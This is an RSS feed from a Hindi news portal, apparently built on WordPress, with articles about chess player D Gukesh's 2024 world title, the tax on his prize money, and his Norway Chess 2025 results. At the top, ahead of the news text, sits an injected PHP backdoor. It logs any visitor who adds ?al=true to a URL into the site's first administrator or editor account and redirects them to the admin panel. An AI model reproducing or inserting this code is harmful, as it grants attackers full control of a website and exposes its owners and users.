// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); D Gukesh – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 07 Jun 2025 09:56:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 Norway Chess: डी गुकेश ने खिताब जीतने का मौका गंवाया, मैग्नस कार्लसन ने मारी बाजी https://pratyushaashakinayikiran.com/?p=162095 Sat, 07 Jun 2025 09:56:00 +0000 https://pratyushaashakinayikiran.com/?p=162095 स्टावेंजर (नॉर्वे)
 दुनिया के नंबर एक खिलाड़ी मैग्नस कार्लसन ने शुक्रवार को अपने गृहनगर स्टावेंजर में नॉर्वे शतरंज 2025 का खिताब जीतकर अपने शानदार करियर में एक और उपलब्धि जोड़ ली. 5 बार के विश्व चैंपियन ने एक नाटकीय अंतिम दौर के बाद ताज हासिल किया, जिसमें उनके सबसे करीबी प्रतिद्वंद्वी, मौजूदा विश्व चैंपियन डी. गुकेश आखिरी बाधा पर असफल रहे.

सफेद मोहरों से खेल रहे कार्लसन को भारत के उभरते सितारे अर्जुन एरिगैसी ने अंतिम क्लासिकल गेम में ड्रा पर रोका. हालांकि इस परिणाम ने गुकेश के लिए दरवाजा थोड़ा खुला रखा, लेकिन युवा भारतीय खिलाड़ी को लीडरबोर्ड पर कार्लसन से आगे निकलने के लिए अमेरिकी ग्रैंडमास्टर फैबियानो कारुआना के खिलाफ जीत की जरूरत थी.

हालांकि, भारी दबाव में, गुकेश ने संतुलित स्थिति में गलती की, और मौके पर ही गेम हार गए और इसके साथ ही उनका खिताब जीतने का सपना टूट गया. गुकेश ने घड़ी में केवल दो सेकंड बचे होने पर क्वीन प्रमोशन की अपनी चाल में गलती की, और फैबियानो कारुआना के खिलाफ अपने आखिरी राउंड के मुकाबले में मौके पर ही हार मान ली.

इस भारी चूक ने न केवल गुकेश की लीडरबोर्ड पर मैग्नस कार्लसन से आगे निकलने की उम्मीदों को खत्म कर दिया, बल्कि नॉर्वे शतरंज 2025 का खिताब भी दुनिया के नंबर 1 खिलाड़ी को दे दिया, जिन्होंने इससे पहले एरिगैसी के खिलाफ अपना क्लासिकल गेम ड्रॉ किया था.

बता दें कि, यह जीत कार्लसन की अपने घरेलू इवेंट में छठी जीत है और विश्व चैम्पियनशिप प्रतियोगिता से पीछे हटने के बावजूद क्लासिकल फॉर्मेट में उनकी ताकत की याद दिलाती है. उन्होंने 16 अंकों के साथ समापन किया, जो कारुआना से आधा अंक आगे था, जिन्होंने गुकेश की गलती का फायदा उठाते हुए 15.5 अंकों के साथ दूसरे स्थान पर छलांग लगाई.

गुकेश, जिन्होंने मौजूदा विश्व चैंपियन के रूप में एक शानदार वर्ष बिताया है, को 14.5 अंकों के साथ तीसरे स्थान पर संतोष करना पड़ा. इससे पहले, राउंड 9 के रोमांचक मुकाबले में, सबसे कम उम्र के शतरंज विश्व चैंपियन ने चीन के दुर्जेय वेई यी को हराया, 14.5 अंक हासिल किए और अपने और टूर्नामेंट लीडर मैग्नस कार्लसन के बीच अंतर को केवल आधे अंक तक सीमित कर दिया.

वहीं, महिला वर्ग में, यूक्रेन की अन्ना मुजीचुक ने कड़े मुकाबले में जीत हासिल की. ​​मुजीचुक को भारत की आर. वैशाली के खिलाफ अपने अंतिम क्लासिकल राउंड में केवल ड्रॉ की जरूरत थी, लेकिन उन्होंने संयम के साथ खेलते हुए शेयर प्वाइंट सुनिश्चित किया.

इस परिणाम ने भारत की कोनेरू हम्पी के लिए रास्ता खोल दिया, जिन्हें शीर्ष स्थान हासिल करने के लिए चीन की जू वेनजुन के खिलाफ जीत की जरूरत थी. लेकिन हम्पी अपने मौके को भुना नहीं सकीं और खेल ड्रॉ पर समाप्त हुआ.

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नॉर्वे चेस टूर्नामेंट : गुकेश ने कार्लसन को दी मात, हताशा में टेबल पर मुक्का मारते दिखे पूर्व वर्ल्ड नंबर-1 https://pratyushaashakinayikiran.com/?p=160884 Mon, 02 Jun 2025 07:55:00 +0000 https://pratyushaashakinayikiran.com/?p=160884 नई दिल्ली

विश्व चैंपियन डोमराजू गुकेश ने नॉर्वे शतरंज 2025 टूर्नामेंट के राउंड 6 में पूर्व वर्ल्ड नंबर 1 मैग्नस कार्लसन के खिलाफ शानदार जीत हासिल की। मैग्नस कार्लसन के खिलाफ डी गुकेश की ये जीत ऐतिहासिक थी, क्योंकि उन्होंने खेल को हार की स्थिति से पलटने का काम किया था। यह गुकेश की इस दिग्गज के खिलाफ पहली क्लासिकल जीत थी। 19 वर्षीय गुकेश प्रतियोगिता के इतिहास में कार्लसन को हराने वाले दूसरे भारतीय खिलाड़ी भी बन गए, इससे पहले रमेशबाबू प्रगनानंद ने कार्लसन को हराया था। इस मुकाबले में गुकेश से हारने के बाद मैग्नस कार्लसन का रिऐक्शन देखने लायक था। वहीं, गुकेश बहुत शांत दिखे।

मैच में ज्यादातर समय कार्लसन गुकेश पर हावी रहे, लेकिन अंत में वे अपनी घबराहट पर काबू नहीं रख पाए और इस युवा खिलाड़ी ने बाजी पलट दी और मैच अपने नाम कर लिया। इस जीत के साथ, डी गुकेश 8.5 अंकों के साथ नॉर्वे शतरंज 2025 पॉइंट्स टेबल में तीसरे स्थान पर पहुंच गए और अब वे कार्लसन और अमेरिकी फैबियानो कारूआना से सिर्फ एक अंक पीछे हैं।

यह गुकेश के लिए कमबैक विन रही, जो नॉर्वे चेस के पहले दौर में काले मोहरों से खेलते हुए मैग्नस कार्लसन से हार गए थे- यह छह खिलाड़ियों की राउंड-रॉबिन प्रतियोगिता है. नॉर्वे चेस टूर्नामेंट में दो वर्षों में यह दूसरी बार है जब किसी युवा भारतीय खिलाड़ी ने क्लासिक फॉर्मेट में कार्लसन को हराया है. पिछले साल आर. प्रग्गनानंदा ने उन्हें इसी टूर्नामेंट में मात दी थी. इस साल, मौजूदा विश्व चैंपियन डी गुकेश ने कार्लसन को हराया है. कार्लसन खेल के अधिकांश समय नियंत्रण में लग रहे थे, लेकिन स्टावेंजर के अप्रत्याशित मौसम की तरह, सब कुछ पलक झपकते ही बदल गया.

हंगरियन मूल की महान अमेरिकी चेस प्लेयर सुसान पोल्गर ने गुकेश के हाथों कार्लसन की हार को उनके करियर का सबसे दुखद हार बताया. उन्होंने X पर एक पोस्ट में लिखा, 'कार्लसन क्लासिकल चेस फॉर्मेट में शायद ही कभी हारते हैं, और वह शायद ही कभी बड़ी गलतियां करते हैं. नॉर्वे में गुकेश के खिलाफ 6वें राउंड में वह काले मोहरों के साथ बहुत अच्छा खेल रहे थे. घड़ी में ज्यादा समय होने के कारण वह जीतने की स्थिति में थे. लेकिन गुकेश ने हार नहीं मानी. उन्होंने संघर्ष जारी रखा और कार्लसन की बढ़त धीरे-धीरे खत्म हो गई. फिर जब दोनों पर समय का दबाव था, तो कार्लसन ने एक बड़ी गलती की जिसकी वजह से उन्हें हारना पड़ा. यह उनके शानदार करियर की सबसे दर्दनाक हार में से एक है. मुझे यकीन है कि वह खुद से बहुत नाराज होंगे.'

कार्लसन हार से काफी हताश नजर आए. यह पूर्व वर्ल्ड नंबर वन खिलाड़ी अक्सर गुकेश के क्लासिकल गेम और टाइम कंट्रोल के दौरान संयम बनाए रखने की उनकी क्षमता की आलोचना करता रहा था. इसी फॉर्मेट में गुकेश से हार के बाद वह हताशा में चेस बोर्ड पर हाथ पटकते दिखे. कार्लसन को जल्दबाजी में प्रतियोगिता स्थल से बाहर निकलते और अपनी कार में भागते हुए देखा गया. यह कार्लसन के लिए एक करारी हार थी, जो प्रतिष्ठित टूर्नामेंट के पहले राउंड में सफेद मोहरों से गुकेश को हराने के कुछ ही दिनों बाद आई. गुकेश के खिलाफ पहले राउंड में जीत के बाद, कार्लसन ने सोशल मीडिया पर एक क्रिप्टिक पोस्ट शेयर किया था, जिसमें उन्होंने लिखा था 'आप किंग के करीब आएं, तो बेहतर है कि चूकें नहीं.' प्रशंसकों ने इस पोस्ट को इस तरह समझा कि कार्लसन खुद को क्लासिकल चेस का 'किंग' कह रहे हैं.

इससे पहले 27 मई को नॉर्वे शतरंज 2025 में राउंड वन का मार्की मुकाबला उम्मीदों पर खरा उतरा, जब मैग्नस कार्लसन ने रोमांचक मुकाबले में मौजूदा विश्व चैंपियन डी गुकेश को हराने के लिए क्लासिक किंग हंट की शुरुआत की। गुकेश के विश्व खिताब जीतने के बाद यह उनका पहला क्लासिकल मैच था और इसने कार्लसन की लगभग एक साल बाद व्यक्तिगत क्लासिकल शतरंज में वापसी को भी चिह्नित किया। इस जीत पर प्रतिक्रिया व्यक्त करते हुए गुकेश के कोच और ग्रैंडमास्टर विष्णु प्रसन्ना ने उनकी प्रशंसा की। जीतने के बाद जिस तरह का रिऐक्शन मैग्नस कार्लसन का था और जिस तरह गुकेश ने रिएक्ट किया, वह देखने लायक था। आप भी देखिए वीडियो…

विष्णु प्रसन्ना ने कहा, "हमें गुकेश की जिद और उसकी कुशलता के लिए बहुत सारा श्रेय देना होगा, क्योंकि मुझे लगता है कि उसे पता था कि वह इस मुकाबले में हारता आ रहा था, फिर भी वह लगातार प्रयास करता रहा और जैसे-जैसे समय कम होता गया, उसके पास इस स्थिति के साथ वास्तव में कुछ करने के अधिक अवसर होते गए। मुझे नहीं लगता कि उसका इंटेंट इसे जीतने का था, लेकिन हां, मुझे यकीन है कि वह खुश है।"

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वर्ल्ड चेस चैंपियन बनने के बाद भी D Gukesh को नहीं मिलेंगे ₹11 करोड़ https://pratyushaashakinayikiran.com/?p=110721 Tue, 17 Dec 2024 11:23:00 +0000 https://pratyushaashakinayikiran.com/?p=110721 नई दिल्ली
हाल ही में, भारत के युवा ग्रैंडमास्टर D Gukesh ने शतरंज की दुनिया में एक बड़ा कीर्तिमान स्थापित किया। महज 18 साल की उम्र में, उन्होंने चीन के डिंग लिरेन को हराकर विश्व शतरंज चैंपियन का खिताब जीता। इस ऐतिहासिक जीत के साथ ही उन्हें ₹11 करोड़ की इनामी राशि मिली, जो किसी भी शतरंज खिलाड़ी के लिए एक सपना होती है। लेकिन इस बड़ी राशि के साथ एक और बड़ी चुनौती भी सामने आई है आयकर की भारी रकम। दरअसल, D Gukesh को अपनी इनामी राशि ₹11 करोड़ पर ₹4.67 करोड़ का भारी-भरकम इनकम टैक्स चुकाना पड़ेगा, जो लगभग 42.5% है। इस टैक्स प्राइज ने सोशल मीडिया पर गर्मागरम बहस छेड़ दी है।

₹4.67 करोड़ का लिया जाएगा टैक्स
भारत में पुरस्कार पर लगने वाला इनकम टैक्स काफी ज्यादा होता है, खासकर जब इनाम की राशि एक तय सीमा से ऊपर हो। D Gukesh को मिले ₹11 करोड़ के इनाम में से ₹4.67 करोड़ टैक्स के रूप में कटेगा। यह उनके कुल इनाम का एक बड़ा हिस्सा है। रिपोर्ट्स के मुताबिक, इतनी बड़ी रकम पर देश के सबसे ऊंचे टैक्स स्लैब के हिसाब से टैक्स लगाया जाएगा। यह बताता है कि भारत में किसी भी चैंपियनशिप के जीतने के बाद मिलने वाले प्राइज मनी पर टैक्स दरें कितनी कड़ी होती हैं। खासकर जब किसी को बड़ी रकम मिलती है, तो उस पर भारी टैक्स देना पड़ता है। इस मामले ने इनाम पर टैक्स व्यवस्था को लेकर कई सवाल खड़े कर दिए हैं।

सोशल मीडिया पर आ रहीं प्रतिक्रिया
गुकेश की जीत के बाद सोशल मीडिया पर इस टैक्स प्राइज को लेकर अगल-अगल प्रतिक्रियाएं आई हैं। कुछ लोग इसे एक सही टैक्स व्यवस्था मानते हुए कहते हैं कि यह देश की अर्थव्यवस्था को बनाए रखने के लिए जरूरी है, वहीं कुछ लोगों का मानना है कि इतनी बड़ी रकम पर इतना भारी टैक्स प्राइज एक युवा खिलाड़ी के लिए बहुत बड़ी चुनौती हो सकती है। D Gukesh ने अभी तक इस कर मुद्दे पर कोई प्रतिक्रिया नहीं दी है, लेकिन उनकी जीत ने ना सिर्फ शतरंज के क्षेत्र में एक नया मुकाम स्थापित किया है, बल्कि इसने भारत की टैक्स व्यवस्था और अवॉर्ड प्राइज पर भी एक नई बहस को जन्म दिया है।

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डी गुकेश ने रचा इतिहास… चेस के नए वर्ल्ड चैम्पियन बने, चीन की बादशाहत खत्म https://pratyushaashakinayikiran.com/?p=109341 Fri, 13 Dec 2024 13:36:00 +0000 https://pratyushaashakinayikiran.com/?p=109341 सिंगापूर

 भारत के डी गुकेश ने अपने शानदार खेल से 18वें वर्ल्ड चेस चैंपियनशिप को जीतकर इतिहास रच दिया है। डी गुकेश ने सिर्फ 18 साल की उम्र में यह कारनामा कर दिखाया है। ऐसा करने वाले गुकेशन दुनिया के सबसे युवा ग्रैंडमास्टर बने हैं। गुकेश ने खिताबी मुकाबले में चीन के डिंग लिरेन को हराकर यह उपलब्धि हासिल की है। डी गुकेश ने चैंपियनशिप मुकाबले के 14वें और आखिरी राउंड में चीन के चैंपियन डिंग लिरेन को कड़ी टक्कर दी, लेकिन अंतिम बाजी भारत के डी गुकेश ने जीतकर खिताब को अपने नाम कर लिया।

गुकेश ने 14 बाजी के इस मुकाबले की आखिरी क्लासिकल बाजी जीतकर लिरेन के 6.5 के मुकाबले जरूरी 7.5 अंक के साथ खिताब जीता। यह बाजी हालांकि अधिकांश समय ड्रॉ की ओर जाती दिख रही थी। गुकेश की खिताबी जीत से पहले रूस के दिग्गज गैरी कास्पारोव सबसे कम उम्र के विश्व शतरंज चैंपियन थे जिन्होंने 1985 में अनातोली कार्पोव को हराकर 22 साल की उम्र में खिताब जीता था।

विश्वनाथन आनंद के क्लब में शामिल हुए गुकेश

गुकेश इस साल की शुरुआत में कैंडिडेट्स टूर्नामेंट जीतने के बाद विश्व खिताब के लिए चुनौती पेश करने वाले सबसे युवा खिलाड़ी बने थे। वह दिग्गज विश्वनाथन आनंद के बाद वैश्विक खिताब जीतने वाले दूसरे भारतीय हैं। पांच बार के विश्व चैंपियन आनंद ने अपना आखिरी खिताब 2013 में जीता था। इस तरह गुकेश ने भारत के लिए एक लंबे इंतजार को खत्म किया।

बता दें कि खिताबी मुकाबले में भारत के ग्रैंडमास्टर डी गुकेशन ने अपने विरोधी डिंग लिरेन के साथ 13 बाजियों के बाद 6.5-6.5 की बराबरी पर थे। ऐसा लग रहा था कि मुकाबला ड्रॉ की ओर बढ़ चला है, लेकिन काले मोहरों के साथ खेल रहे भारत के चाणक्य ने ऐसी चाल चली की चीन के डिंग लिरेन चारो खाने चित हो गए।

विश्वनाथन के क्लब में भी शामिल हुए गुकेश

डिंग लिरेन के खिलाफ डी गुकेश काले मोहरों के साथ मुकाबला खेले थे. पूरे मैच में भारतीय युवा ने अपना जोरदार खेल दिखाया और हर बाजी में चीनी प्लेयर पर भारी पड़े. आखिर में डी गुकेश ने चीन की बादशाहत खत्म की और वो नए वर्ल्ड चेस चैम्पियन बने.

इस धांसू जीत के साथ ही 18 साल के डी गुकेश अब शतरंज की दुनिया के सबसे कम उम्र के वर्ल्ड चैम्पियन बन गए हैं. साथ ही वो एक रिकॉर्ड के मामले में विश्वनाथन आनंद के क्लब में भी शामिल हो गए हैं. दरअसल, गुकेश वर्ल्ड चेस चैम्पियन बनने वाले भारत के दूसरे प्लेयर बन गए हैं. जबकि विश्वनाथन पहले भारतीय हैं. 5 बार के वर्ल्ड चैम्पियन विश्वनाथन आनंद ने अपना आखिरी खिताब 2013 में जीता था.

गुकेश का दबाव और डिंग लिरेन ने कर दी गलती

दरअसल, इस खिताबी मुकाबले में चीन के डिंग लिरेन पर डी गुकेश किस कदर भारी पड़े इसका अंदाजा इस बात से लगा सकते हैं कि एक समय यह मुकाबला टाईब्रेक की ओर जा रहा था. मगर उस मुश्किल स्थिति में भी गुकेश ने कॉन्फिडेंस दिखाया और अपनी कोशिशें जारी रखीं.

इसका नतीजा यह हुआ कि डिंग लिरेन दबाव में आए और उन्होंने एक बेहद बड़ी गलती कर दी. फिर क्या था, इसका फायदा तुरंत गुकेश ने उठाया. उन्होंने इस दिमागी खेल में डिंग लिरेन को चारों खाने चित करते हुए मैच और ताज दोनों छीन लिए. गुकेश ने इस निर्णायक मैच की आखिरी क्लासिकल बाजी जीतकर लिरेन के 6.5 पॉइंट्स के मुकाबले जरूरी 7.5 अंक हासिल किए और खिताब जीता. 

इस जीत के साथ ही अब शतरंज की दुनिया को नया और सबसे युवा चैम्पियन मिल गया है. गुकेश  से पहले रूस के दिग्गज गैरी कास्पारोव सबसे कम उम्र के वर्ल्ड चेस चैम्पियन थे, जिन्होंने 1985 में अनातोली कार्पोव को हराकर 22 साल की उम्र में खिताब जीता था.

 

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